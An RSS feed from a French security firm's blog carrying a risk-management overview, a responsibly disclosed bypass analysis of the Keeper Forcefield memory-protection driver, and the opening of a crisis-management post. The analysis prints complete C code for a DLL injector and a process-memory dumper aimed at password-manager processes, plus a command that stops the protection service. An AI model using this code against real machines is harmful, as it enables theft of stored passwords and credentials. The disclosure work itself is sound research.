<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Login Sécurité - Le blog]]></title><description><![CDATA[Le blog de Login Sécurité est votre point d’entrée pour découvrir les actualités, événements et analyses pointues en cybersécurité rédigés par des experts !]]></description><link>https://blog.login-securite.com</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1754575292749/e8850ba1-d816-4e05-8e2b-6f4e56d6289f.png</url><title>Login Sécurité - Le blog</title><link>https://blog.login-securite.com</link></image><generator>RSS for Node</generator><lastBuildDate>Thu, 09 Apr 2026 13:41:51 GMT</lastBuildDate><atom:link href="https://blog.login-securite.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Gestion des risques en cybersécurité : méthodologies et bonnes pratiques]]></title><description><![CDATA[Dans un environnement numérique de plus en plus complexe et connecté, la gestion des risques en cybersécurité est devenue essentielle pour protéger les actifs critiques des entreprises. Que ce soit fa]]></description><link>https://blog.login-securite.com/gestion-risques-cybersecurite-methodologies-bonnes-pratiques</link><guid isPermaLink="true">https://blog.login-securite.com/gestion-risques-cybersecurite-methodologies-bonnes-pratiques</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[RiskManagement]]></category><category><![CDATA[Governance]]></category><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Thu, 26 Feb 2026 07:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/688e7a79a21a1c03d15cafc1/0f867224-dbb9-4299-9ac6-465463ed9608.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Dans un environnement numérique de plus en plus complexe et connecté, la gestion des risques en cybersécurité est devenue essentielle pour protéger les actifs critiques des entreprises. Que ce soit face à des cyberattaques, des erreurs humaines, ou des vulnérabilités techniques, les entreprises doivent être capables <strong>d’identifier, d’évaluer et de traiter les risques</strong> qui pèsent sur leurs systèmes d'information.</p>
<p>La gestion des risques en cybersécurité repose sur une démarche structurée qui permet <strong>d’anticiper</strong> les menaces, de <strong>limiter</strong> leur impact et <strong>d’assurer la continuité</strong> des activités. Elle constitue aujourd’hui non seulement une bonne pratique de gouvernance, mais également une <strong>exigence réglementaire</strong> pour de nombreuses organisations.</p>
<p>Plusieurs cadres réglementaires et normatifs — tels que NIS2, DORA, le RGPD ou certaines normes sectorielles — imposent la réalisation d’analyses de risques formalisées. Les entreprises doivent ainsi démontrer leur capacité à identifier et évaluer les risques cyber, puis à mettre en œuvre des mesures de sécurité proportionnées. L’analyse de risques constitue dès lors un socle essentiel pour orienter les choix de sécurité et répondre aux obligations de conformité.</p>
<p>Plusieurs méthodologies sont largement utilisées pour guider les entreprises dans ce processus. Parmi elles, <strong>EBIOS Risk Manager</strong> et la norme <strong>ISO/IEC 27005</strong> sont les plus répandues, mais d'autres approches comme <strong>NIST RMF</strong>, <strong>OCTAVE</strong>, et <strong>MEHARI</strong> ont aussi leurs spécificités.</p>
<h2>Pourquoi la gestion des risques est-elle indispensable ?</h2>
<p>Les cybermenaces évoluent en permanence, tant en termes de sophistication que de fréquence. Les entreprises sont confrontées à des risques variés : des attaques externes comme les ransomwares, mais aussi des risques internes, comme les erreurs humaines ou les failles de configuration. Une gestion proactive des risques permet de <strong>cartographier ces menaces et de prioriser les actions à mener</strong> pour y faire face, en cohérence avec les enjeux métier et les exigences réglementaires.</p>
<p>La gestion des risques aide à répondre à plusieurs questions clés :</p>
<ul>
<li><p>Quels sont les <strong>systèmes, processus et données critiques</strong> de votre entreprise ?</p>
</li>
<li><p>Quels sont les <strong>vecteurs d’attaque</strong> les plus probables ?</p>
</li>
<li><p>Quel serait l'<strong>impact</strong> d'une compromission ?</p>
</li>
<li><p>Comment <strong>anticiper et atténuer</strong> ces risques de manière efficace ?</p>
</li>
</ul>
<p>Sans une approche méthodique et documentée de la gestion des risques, une organisation s’expose non seulement à des incidents de sécurité évitables, mais également à des non-conformités réglementaires, susceptibles d’entraîner sanctions, pertes financières et atteinte à la confiance des parties prenantes.</p>
<h2>Les méthodologies phares pour la gestion des risques</h2>
<h3>EBIOS Risk Manager</h3>
<p>EBIOS Risk Manager est une méthodologie développée par l'ANSSI (Agence nationale de la sécurité des systèmes d’information) pour aider les organisations à évaluer et piloter leurs risques en cybersécurité. Cette approche permet de prendre en compte non seulement les risques techniques, mais aussi les risques stratégiques liés aux enjeux métiers.</p>
<p>EBIOS RM se distingue par sa capacité à cartographier les risques en tenant compte des menaces et des scénarios d'attaques spécifiques à l'organisation. Elle favorise également une <strong>vision collaborative</strong> des risques, en impliquant les différents acteurs de l'entreprise pour une prise de décision éclairée et partagée.</p>
<p>Le processus d'EBIOS RM comprend cinq étapes clés :</p>
<ol>
<li><p><strong>Définir le périmètre</strong> en identifiant le système d’information à protéger et les acteurs concernés.</p>
</li>
<li><p><strong>Étudier les événements redoutés</strong> en déterminant les incidents potentiels qui pourraient avoir des conséquences graves sur la sécurité.</p>
</li>
<li><p><strong>Analyser les scénarios d’attaques</strong> en décomposant les vecteurs et modes d’attaques envisageables.</p>
</li>
<li><p><strong>Évaluer les risques</strong> en les classant selon leur probabilité et leur impact potentiel.</p>
</li>
<li><p><strong>Mettre en place des mesures de sécurité</strong> en proposant des mesures adaptées pour réduire les risques identifiés.</p>
</li>
</ol>
<p>EBIOS RM est une méthodologie flexible et pragmatique qui permet d’adapter la stratégie de sécurité aux spécificités de chaque organisation.</p>
<h3>ISO/IEC 27005</h3>
<p>La norme <strong>ISO/IEC 27005</strong> s’inscrit dans la suite des normes ISO/IEC 27000, dédiée à la gestion de la sécurité de l’information. Spécifiquement conçue pour la gestion des risques liés à la sécurité des informations, elle propose une approche structurée, compatible avec la mise en place d’un <strong>Système de Management de la Sécurité de l’Information (SMSI)</strong>.</p>
<p>ISO 27005 se focalise sur la protection des actifs critiques de l’organisation, à travers un processus en plusieurs étapes :</p>
<ol>
<li><p><strong>Identification des actifs</strong> : Identifier les actifs (données, systèmes, etc.) à protéger et comprendre leur valeur pour l’entreprise.</p>
</li>
<li><p><strong>Évaluation des menaces et des vulnérabilités</strong> : Identifier les failles potentielles dans les systèmes d'information et les menaces qui pourraient les exploiter.</p>
</li>
<li><p><strong>Évaluation de l'impact</strong> : Estimer les conséquences d'un incident sur les actifs critiques, qu'elles soient financières, opérationnelles ou liées à la réputation.</p>
</li>
<li><p><strong>Évaluation de la probabilité</strong> : Analyser la probabilité que ces menaces se concrétisent, en tenant compte de l’environnement de l’entreprise et des tendances du secteur.</p>
</li>
<li><p><strong>Planification des mesures de sécurité</strong> : Élaborer des stratégies de gestion des risques, incluant des mesures de prévention, d'atténuation, et des réponses à mettre en place en cas d'incident.</p>
</li>
</ol>
<p>ISO/IEC 27005 est une méthodologie complète, souvent utilisée par les entreprises ayant déjà mis en place un SMSI, et souhaitant renforcer leur gestion des risques de manière cohérente et structurée.</p>
<h3>Autres méthodologies de gestion des risques</h3>
<ul>
<li><p><strong>NIST RMF (Risk Management Framework)</strong>, développée par le National Institute of Standards and Technology (NIST), est une méthode largement utilisée aux États-Unis, en particulier par les entités gouvernementales. Elle propose un cadre en six étapes qui intègre les contrôles de sécurité dans un processus de gestion des risques continu, allant de la catégorisation des systèmes à la surveillance continue des risques.</p>
</li>
<li><p><strong>OCTAVE (Operationally Critical Threat, Asset, and Vulnerability Evaluation)</strong> est une méthodologie développée par le Software Engineering Institute de l’université Carnegie Mellon. Elle est centrée sur l’évaluation des menaces opérationnelles et la gestion des actifs critiques. OCTAVE met l'accent sur l'analyse des risques à partir de la perspective de l'entreprise et de ses besoins opérationnels spécifiques.</p>
</li>
<li><p><strong>MEHARI (Méthode Harmonisée d’Analyse de Risques)</strong> est une méthode française de gestion des risques développée par le CLUSIF (Club de la Sécurité de l'Information Français). Elle se distingue par son approche quantitative et sa capacité à fournir des indicateurs de performance. Elle est particulièrement appréciée pour son intégration dans des démarches de certification et son adaptation aux petites et grandes structures. MEHARI propose des modèles d'analyse détaillés qui permettent d’évaluer les impacts potentiels des risques et de proposer des stratégies de traitement adaptées.</p>
</li>
</ul>
<h2>Intégrer la gestion des risques dans votre stratégie de sécurité</h2>
<p>La gestion des risques doit être une composante centrale de votre stratégie de cybersécurité. En <strong>identifiant les vulnérabilités</strong> et en hiérarchisant les actions de sécurité en fonction des <strong>risques réels</strong>, vous garantissez que vos ressources sont allouées de manière optimale pour protéger vos actifs critiques.</p>
<p>Une fois les risques identifiés et évalués, il est crucial de <strong>mettre en place des plans d'action concrets</strong> pour les atténuer. Ces plans peuvent inclure des mesures préventives, comme la mise en place de pare-feu ou l'authentification multifactorielle, des actions correctives pour limiter les dommages en cas d'incident, ou encore des assurances spécifiques pour couvrir certains types de risques.</p>
<p>De plus, une bonne gestion des risques passe par la <strong>sensibilisation des équipes</strong>. Chaque collaborateur doit être conscient des risques auxquels l’organisation est exposée et connaître les bonnes pratiques de sécurité pour les minimiser.</p>
<h2>L'accompagnement de Login Sécurité dans la gestion des risques</h2>
<p>La gestion des risques est un processus complexe, mais essentiel. <strong>Login Sécurité</strong>, à travers son équipe GRC, accompagne les entreprises dans chaque étape de cette démarche. Nous utilisons des méthodologies reconnues, comme <strong>EBIOS RM et</strong> <strong>ISO 27005,</strong> pour vous aider à évaluer, prioriser et traiter les risques de manière proactive.</p>
<p>Notre expertise permet d’<strong>adapter</strong> ces méthodologies à <strong>vos besoins spécifiques et à votre contexte métier</strong>, afin que la gestion des risques devienne un levier stratégique pour la sécurité de votre organisation.</p>
<h2>Conclusion</h2>
<p>La gestion des risques en cybersécurité est indispensable pour protéger les actifs de votre entreprise contre des menaces de plus en plus sophistiquées. En adoptant des méthodologies comme <strong>EBIOS Risk Manager ou</strong> <strong>ISO/IEC 27005</strong>, vous pouvez identifier et évaluer les risques, puis mettre en place des actions concrètes pour les atténuer.</p>
<p>Avec l’accompagnement personnalisé de <strong>Login Sécurité</strong>, vous disposez d’un cadre solide pour piloter cette gestion des risques et renforcer la résilience de votre organisation face aux cybermenaces.</p>
]]></content:encoded></item><item><title><![CDATA[Protection de secrets en mémoire et contournement : le cas de Keeper Forcefield]]></title><description><![CDATA[Keeper Forcefield est une extension du gestionnaire de mots de passe Keeper, reposant sur un driver kernel qui permettrait de prémunir le gestionnaire de mots de passe des attaquants volant les secrets en mémoire.
Aussi, nous avons décidé de nous int...]]></description><link>https://blog.login-securite.com/protection-secrets-memoire-contournement-keeper-forcefield</link><guid isPermaLink="true">https://blog.login-securite.com/protection-secrets-memoire-contournement-keeper-forcefield</guid><category><![CDATA[password manager]]></category><category><![CDATA[KEEPER]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[cybersécurité]]></category><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Mon, 09 Feb 2026 17:00:23 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1770287973386/ac9fbb72-c983-490b-8e43-a271ed23fe9f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><a target="_blank" href="https://www.keepersecurity.com/forcefield-endpoint-protection/">Keeper Forcefield</a> est une extension du gestionnaire de mots de passe Keeper, reposant sur un driver kernel qui permettrait de prémunir le gestionnaire de mots de passe des attaquants volant les secrets en mémoire.</p>
<p>Aussi, nous avons décidé de nous intéresser à la solution pour en comprendre son fonctionnement, et ses limitations. Les résultats présentés dans cet article sont issus d'un travail d'analyse sur la version 1.0 de Keeper Forcefield.</p>
<h2 id="heading-comment-est-ce-que-cela-fonctionne">Comment est-ce que cela fonctionne ?</h2>
<p>Keeper Forcefield est constitué d'un exécutable, ainsi que d'un driver, <code>keeperforcefield.sys</code>.</p>
<p>Le driver est assez simple et implémente l'ensemble des fonctionnalités qui vont nous intéresser. Il enregistre un callback sur les opérations sur les objets de type <code>PROCESS</code>via <code>ObRegisterCallbacks</code>.</p>
<pre><code class="lang-c">NTSTATUS status = ObRegisterCallbacks(&amp;CallbackRegistration, &amp;RegistrationHandle);
</code></pre>
<p>Ce callback, lorsqu'il est invoqué sur une opération de création ou de duplication, réalise plusieurs choses.</p>
<p>Tout d'abord, il vérifie que l'image du processus cible de l'opération correspond bien à l'un des processus surveillés, et que la signature correspond :</p>
<pre><code class="lang-c">PEPROCESS TargetProcess = OperationInformation-&gt;Object;
SeLocateProcessImageName(TargetProcess, &amp;TargetProcessImageFileName);

<span class="hljs-keyword">if</span> (IsTargetProcessChecked(TargetProcessImageFileName))
</code></pre>
<p>On retrouve ainsi la liste des processus surveillés, qui est également <a target="_blank" href="https://docs.keeper.io/en/enterprise-guide/keeper-forcefield">documentée</a> sur le site officiel (août 2025) :</p>
<ul>
<li><p><code>keeperpasswordmanager.exe</code></p>
</li>
<li><p><code>keeper-ksm.exe</code></p>
</li>
<li><p><code>keeper-commander.exe</code></p>
</li>
<li><p><code>keeper-gateway-service.exe</code></p>
</li>
<li><p><code>KeeperBridgeClient.exe</code></p>
</li>
<li><p><code>KeeperBridgeSvc.exe</code></p>
</li>
<li><p><code>chat.UWP.exe</code></p>
</li>
<li><p><code>keeperimport.exe</code></p>
</li>
<li><p><code>chrome.exe</code></p>
</li>
<li><p><code>msedge.exe</code></p>
</li>
<li><p><code>firefox.exe</code></p>
</li>
<li><p><code>brave.exe</code></p>
</li>
<li><p><code>opera.exe</code></p>
</li>
<li><p><code>vivaldi.exe</code></p>
</li>
</ul>
<p>Si c'est le cas, alors le processus à l'origine de l'opération est vérifié à son tour :</p>
<pre><code class="lang-c"><span class="hljs-keyword">if</span> (IsTargetProcessChecked(TargetProcessImageFileName))
{
    SeLocateProcessImageName(IoGetCurrentProcess(), &amp;CurrentProcessImageName);
    FltParseFileName(CurrentProcessImageName, <span class="hljs-literal">nullptr</span>, <span class="hljs-literal">nullptr</span>,
        &amp;FinalComponentCurrentProcess);

    <span class="hljs-keyword">if</span> (!IsProcessInWhitelist(CurrentProcessImageName)
        &amp;&amp; !IsProcessWindowsDefender(CurrentProcessImageName) &amp;&amp; !
        RtlEqualUnicodeString(TargetProcessImageFileName,
        CurrentProcessImageName, <span class="hljs-number">1</span>))
</code></pre>
<p>Ainsi, le chemin complet de l'image de l'exécutable à l'origine de l'opération est comparé à une liste blanche explicite, puis au chemin d'installation de Windows Defender contenant une wildcard. Si c'est le cas, l'opération est autorisée.</p>
<p>Autrement, si l'opération provient d'un processus dont l'image est la même que le celle du processus de destination, alors l'opération est également autorisée. En d'autres termes, cela permet à un processus de faire une opération sur lui-même.</p>
<p>Enfin, si aucune de ces conditions n'est remplie, alors l'accès n'est pas autorisé, et l'access mask est modifié en conséquence:</p>
<pre><code class="lang-c">Parameters-&gt;CreateHandleInformation.DesiredAccess &amp;= <span class="hljs-number">0xffffffef</span>;
</code></pre>
<p>Cette opération revient à retirer le droit <code>PROCESS_VM_READ</code>, ce qui peut aider à limiter la possibilité d'aller voler en mémoire les identifiants contenus dans le process de Keeper.</p>
<p>Si l'opération est autorisée, rien ne se passe.</p>
<p>Intéressons-nous maintenant à la liste. Celle-ci est une simple liste contenant le chemin complet sur disque d'exécutables Windows:</p>
<ul>
<li><p><code>\\Device\\\\&lt;DEVICE_NAME&gt;\\Windows\\\\System32\\svchost.exe</code></p>
</li>
<li><p><code>\\Device\\\\&lt;DEVICE_NAME&gt;\\Windows\\System32\\csrss.exe</code></p>
</li>
<li><p><code>\\Device\\\\&lt;DEVICE_NAME&gt;\\Windows\\explorer.exe</code></p>
</li>
<li><p><code>\\Device\\\\&lt;DEVICE_NAME&gt;\\Windows\\System32\\wbem\\WmiPrvSE.exe</code></p>
</li>
<li><p><code>\\Device\\\\&lt;DEVICE_NAME&gt;\\Windows\\\\System32\\lsass.exe</code></p>
</li>
<li><p><code>\\Device\\\\&lt;DEVICE_NAME&gt;\\Windows\\\\System32\\sihost.exe</code></p>
</li>
<li><p><code>\\Device\\\\&lt;DEVICE_NAME&gt;\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\\\*\\MsMpEng.exe</code></p>
</li>
</ul>
<p>Ainsi, tout processus autre tentant d'ouvrir une <code>HANDLE</code> sur l'un des processus Keeper, avec le droit <code>PROCESS_VM_READ</code>, se verrait retirer ce droit.</p>
<h2 id="heading-les-limitations">Les limitations</h2>
<p>Maintenant que nous avons connaissance de comment fonctionne ce driver, intéressons nous à comment cela peut être contourné.</p>
<h3 id="heading-dans-le-cas-dun-attaquant-disposant-dun-acces-non-privilegie">Dans le cas d'un attaquant disposant d'un accès non privilégié</h3>
<p>Premièrement, retirer le droit de lecture n'est pas suffisant pour empêcher d'accéder à l'espace mémoire d'un processus Keeper. En effet, si on y injecte du code et que celui-ci est exécuté, alors il peut ouvrir une <code>HANDLE</code> vers lui-même du fait de l'exclusion en place, ou simplement utiliser la pseudo-handle <code>NtCurrentProcess()</code>, qui dispose de tous les accès. Avec cette handle, il sera alors possible de générer un <em>dump</em> du processus (ou simplement retrouver les secrets en mémoire via des lectures mémoires).</p>
<p>De très nombreux moyens existent afin de réaliser ces injections de code, et ceux-ci reposent sur des droits très différents, et ne reposent pas sur <code>PROCESS_VM_READ</code>. Plusieurs techniques sont par exemple documentées sur <a target="_blank" href="https://github.com/itaymigdal/awesome-injection/blob/main/README.md">ce répertoire</a>.</p>
<p>Secondement, les processus explicitement autorisés, comme <code>explorer.exe</code> par exemple, ne sont pas eux-mêmes protégés. Il est donc possible d'ouvrir une <code>HANDLE</code> avec tous les privilèges sur <code>explorer.exe</code> et d'y injecter du code. Ce code injecté va alors ouvrir une <code>HANDLE</code> vers un process Keeper, et cela se fera sans restriction, car le processus est whitelisté.</p>
<p>Voici un exemple très simple permettant de compiler une bibliothèque qui va générer un dump d'un processus arbitraire. Cette DLL est faite pour être injectée soit dans un processus Keeper directement, soit dans un processus whitelisté, et ce via le second exécutable.</p>
<p><code>dump_by_pid.c</code></p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;Windows.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;DbgHelp.h&gt;</span></span>

<span class="hljs-comment">/* Compilation - en utilisant clang-cl comme compilateur, lld-link comme linker, et xwin pour récupérer les headers Microsoft
 *
 * Auteur : Nathan (Login Sécurité)
 *
 * clang-cl -c -vctoolsdir /home/user/winheaders/crt/ -winsdkdir /home/user/winheaders/sdk/ dump_by_pid.c
 * lld-link /VERBOSE -libpath:/home/user/winheaders/crt/lib/x86_64/ \\
 *          -libpath:/home/user/winheaders/sdk/Lib/10.0.26100/ucrt/x86_64/ \\
 *          -libpath:/home/user/winheaders/sdk/Lib/10.0.26100/um/x86_64/ \\
 *          -dll DbgHelp.Lib dump_by_pid.obj /out:dump.dll
 */</span>

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">dump</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-comment">// A remplacer par le pid du processus à dumper.</span>
    DWORD target_pid = &lt;FIXME_TARGET_PROCESS_PID&gt;;
    BOOL result = FALSE;
    HANDLE target_process = {<span class="hljs-number">0</span>};
    HANDLE dump_file = {<span class="hljs-number">0</span>};

    dump_file = CreateFileA(
            <span class="hljs-string">"C:\\\\\\\\Windows\\\\\\\\temp\\\\\\\\dump.dmp"</span>,
            GENERIC_WRITE | GENERIC_READ,
            FILE_SHARE_READ,
            <span class="hljs-number">0</span>,
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            <span class="hljs-literal">NULL</span>
        );

    <span class="hljs-comment">// Bien que nous utilisions PROCESS_ALL_ACCESS, les droits résultants de l'opération ne contiennent pas PROCESS_VM_READ</span>
    target_process = OpenProcess(PROCESS_ALL_ACCESS , <span class="hljs-number">0</span>, target_pid);
    <span class="hljs-keyword">if</span> (target_process == <span class="hljs-literal">NULL</span>)
        <span class="hljs-keyword">return</span>;

    result = MiniDumpWriteDump(
            target_process,
            target_pid,
            dump_file,
            MiniDumpWithFullMemory,
            <span class="hljs-literal">NULL</span>,
            <span class="hljs-literal">NULL</span>,
            <span class="hljs-literal">NULL</span>
        );
    <span class="hljs-keyword">if</span> (result == FALSE)
        <span class="hljs-keyword">return</span>;

    CloseHandle(target_process);
    CloseHandle(dump_file);

}

<span class="hljs-function">BOOL WINAPI <span class="hljs-title">DllMain</span><span class="hljs-params">(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpvReserved
    )</span>
</span>{
    <span class="hljs-keyword">switch</span>( fdwReason )
    {
        <span class="hljs-keyword">case</span> DLL_PROCESS_ATTACH:
            dump();
            <span class="hljs-keyword">break</span>;
        <span class="hljs-keyword">default</span>:
            <span class="hljs-keyword">break</span>;
    }
    <span class="hljs-keyword">return</span> FALSE;
}
</code></pre>
<p><code>inject.c</code></p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;Windows.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>

<span class="hljs-comment">/*
Compilation - en utilisant clang-cl comme compilateur, lld-link comme linker, et xwin pour récupérer les headers Microsoft

Auteur : Nathan (Login Sécurité)

clang-cl -c  -vctoolsdir /home/user/winheaders/crt/ -winsdkdir /home/user/winheaders/sdk/ inject.c
lld-link /VERBOSE -libpath:/home/user/winheaders/crt/lib/x86_64/ \\
         -libpath:/home/user/winheaders/sdk/Lib/10.0.26100/ucrt/x86_64/ \\
         -libpath:/home/user/winheaders/sdk/Lib/10.0.26100/um/x86_64/ \\
         inject.obj /out:inject.exe
*/</span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span>** argv)</span>
</span>{
    HANDLE target_process = {<span class="hljs-number">0</span>}, new_thread = {<span class="hljs-number">0</span>};
    HANDLE kernelbase_handle = {<span class="hljs-number">0</span>};
    DWORD target_pid = <span class="hljs-number">-1</span>;
    LPVOID memory_base_address = <span class="hljs-number">0</span>, load_lib_address = {<span class="hljs-number">0</span>};
    BOOL result = FALSE;

    <span class="hljs-keyword">if</span> (argc != <span class="hljs-number">3</span>){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Usage: %s &lt;target_pid&gt; &lt;dll_to_inject&gt;\\\\n"</span>, argv[<span class="hljs-number">0</span>]);
        <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
    }

    target_pid = atoi(argv[<span class="hljs-number">1</span>]);
    <span class="hljs-keyword">if</span> (target_pid == <span class="hljs-number">0</span> || target_pid == <span class="hljs-number">-1</span>){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Failed converting pid\\\\n"</span>);
        <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
    }

    target_process = OpenProcess(PROCESS_ALL_ACCESS, <span class="hljs-number">0</span>, target_pid);
    <span class="hljs-keyword">if</span> (target_process == <span class="hljs-literal">NULL</span>) {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Failed opening target process. GetLastError: %ld\\\\n"</span>, GetLastError());
        <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
    }

    memory_base_address = VirtualAllocEx(
            target_process,
            <span class="hljs-literal">NULL</span>,
            <span class="hljs-number">0x1000</span>,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE
            );
    <span class="hljs-keyword">if</span> (memory_base_address == <span class="hljs-number">0</span>){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Failed allocating remote memory. GetLastError: %ld\\\\n"</span>, GetLastError());
        <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
    }

    result = WriteProcessMemory(target_process, memory_base_address, argv[<span class="hljs-number">2</span>], <span class="hljs-number">0x1000</span>, <span class="hljs-literal">NULL</span>);
    <span class="hljs-keyword">if</span> (result == FALSE) {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Failed writing DLL path. GetLastError: %ld\\\\n"</span>, GetLastError());
        <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
    }

    kernelbase_handle = GetModuleHandleA(<span class="hljs-string">"kernelbase.dll"</span>);
    <span class="hljs-keyword">if</span> (kernelbase_handle == <span class="hljs-literal">NULL</span>) {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Failed getting kernelbase base address. GetLastError: %ld\\\\n"</span>, GetLastError());
        <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
    }

    load_lib_address = GetProcAddress(kernelbase_handle, <span class="hljs-string">"LoadLibraryA"</span>);
    <span class="hljs-keyword">if</span> (load_lib_address == <span class="hljs-literal">NULL</span>) {

        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Failed getting LoadLibraryA address. %ld\\\\n"</span>, GetLastError());
        <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
    }

    new_thread = CreateRemoteThread(
            target_process,
            <span class="hljs-literal">NULL</span>,
            <span class="hljs-number">0</span>,
            load_lib_address,
            memory_base_address,
            <span class="hljs-number">0</span>,
            <span class="hljs-literal">NULL</span>
            );
    <span class="hljs-keyword">if</span> (new_thread == <span class="hljs-literal">NULL</span>){
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Failed creating remote thread. GetLastError: %ld\\\\n"</span>, GetLastError());
        <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
    }

    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Done.\\\\n"</span>);
    CloseHandle(new_thread);
    CloseHandle(target_process);

    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<h3 id="heading-un-attaquant-disposant-dun-acces-administrateur-local">Un attaquant disposant d'un accès administrateur local</h3>
<p>Maintenant, considérons le cas d'un attaquant disposant d'un administrateur local de la machine concernée.</p>
<p>Puisqu'il est possible pour un utilisateur via l'application de désactiver Keeper, alors cela est également faisable pour un attaquant.</p>
<p>Une manière simple de le réaliser est d'arrêter le service:</p>
<pre><code class="lang-bash">sc.exe stop keeperforcefield
</code></pre>
<p>De plus, un attaquant privilégié, contrairement à l'attaquant non privilégié, dispose d'un nombre important de moyens de s'injecter dans un processus de Keeper, ou bien l'un des processus en liste blanche, sans faire appel aux API kernel de manipulation de processus distants. Par conséquent, cela contourne complètement le mécanisme qui notifie le driver Keeper, et par conséquent, le rend inopérant.</p>
<p>Parmi ces techniques, on peut notamment citer la modification d'une DLL sur disque, la modification d'une entrée de registre permettant de modifier un enregistrement COM, la modification des <code>KnownDll</code>, le chargement d'un driver kernel vulnérable puis son exploitation permettant de manipuler la mémoire kernel, et bien d'autres encore.</p>
<h2 id="heading-windows-et-les-injections-de-processus">Windows et les injections de processus</h2>
<p>Comme nous avons pu le voir, il existe de très nombreux moyens de contourner la limitation imposée par le driver de Keeper ForceField. Microsoft eux-mêmes ont tenté d'imposer une limitation similaire sur certains processus via le mécanisme de <em>Protected Process Light</em>, mais ce mécanisme a fréquemment des contournements publiés. C'est pour cela que ce n'est pas considéré comme une <em>security boundary</em> par Microsoft.</p>
<p>Il existe toutefois un moyen de se prémunir dans le cas de l'attaquant non privilégié. Il est possible pour un processus de révoquer les droits de l'utilisateur courant sur le processus en question, via l'API <code>SetSecurityInfo</code> sur une <code>HANDLE</code> du processus courant, et en ayant construit un DACL n'autorisant pas l'utilisateur courant.</p>
<h2 id="heading-responsible-disclosure">Responsible Disclosure</h2>
<p>Ce travail s’inscrit dans une démarche de divulgation responsable visant à améliorer la sécurité des systèmes concernés.</p>
<ul>
<li><p>Juin 2025 : Découverte des différentes vulnérabilités, analyse technique et confirmation de l’impact</p>
</li>
<li><p>2 juillet 2025 : Notification confidentielle transmise à Keeper</p>
</li>
<li><p>2 juillet 2025 : Accusé de réception et échanges techniques avec Keeper</p>
</li>
<li><p>30 septembre 2025 : Mise à disposition de la <a target="_blank" href="https://docs.keeper.io/en/release-notes">version 1.1</a> de Keeper Forcefield. Keeper a confirmé que bien que les vecteurs identifiés aient été corrigés, il est techniquement impossible de prévenir de manière exhaustive l’ensemble des usages abusifs liés à ce mécanisme.</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Pourquoi les organisations échouent-elles à gérer leurs cybercrises ?]]></title><description><![CDATA[Quand la technique ne suffit plus
Lors d’une cyberattaque, le vrai risque n’est pas toujours là où on l’attend. La gestion d’une cybercrise engage avant tout l’organisation, les femmes et les hommes qui la composent, ainsi que leur capacité à décider...]]></description><link>https://blog.login-securite.com/pourquoi-organisations-echouent-gerer-cybercrises</link><guid isPermaLink="true">https://blog.login-securite.com/pourquoi-organisations-echouent-gerer-cybercrises</guid><category><![CDATA[cybercrise]]></category><category><![CDATA[gouvernance]]></category><category><![CDATA[juridique]]></category><category><![CDATA[cellule de crise]]></category><category><![CDATA[psychologie]]></category><category><![CDATA[webinar]]></category><category><![CDATA[communication]]></category><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Tue, 13 Jan 2026 13:25:01 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1768310080567/586c0d12-421e-439b-974c-55ec86359ecc.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-quand-la-technique-ne-suffit-plus">Quand la technique ne suffit plus</h2>
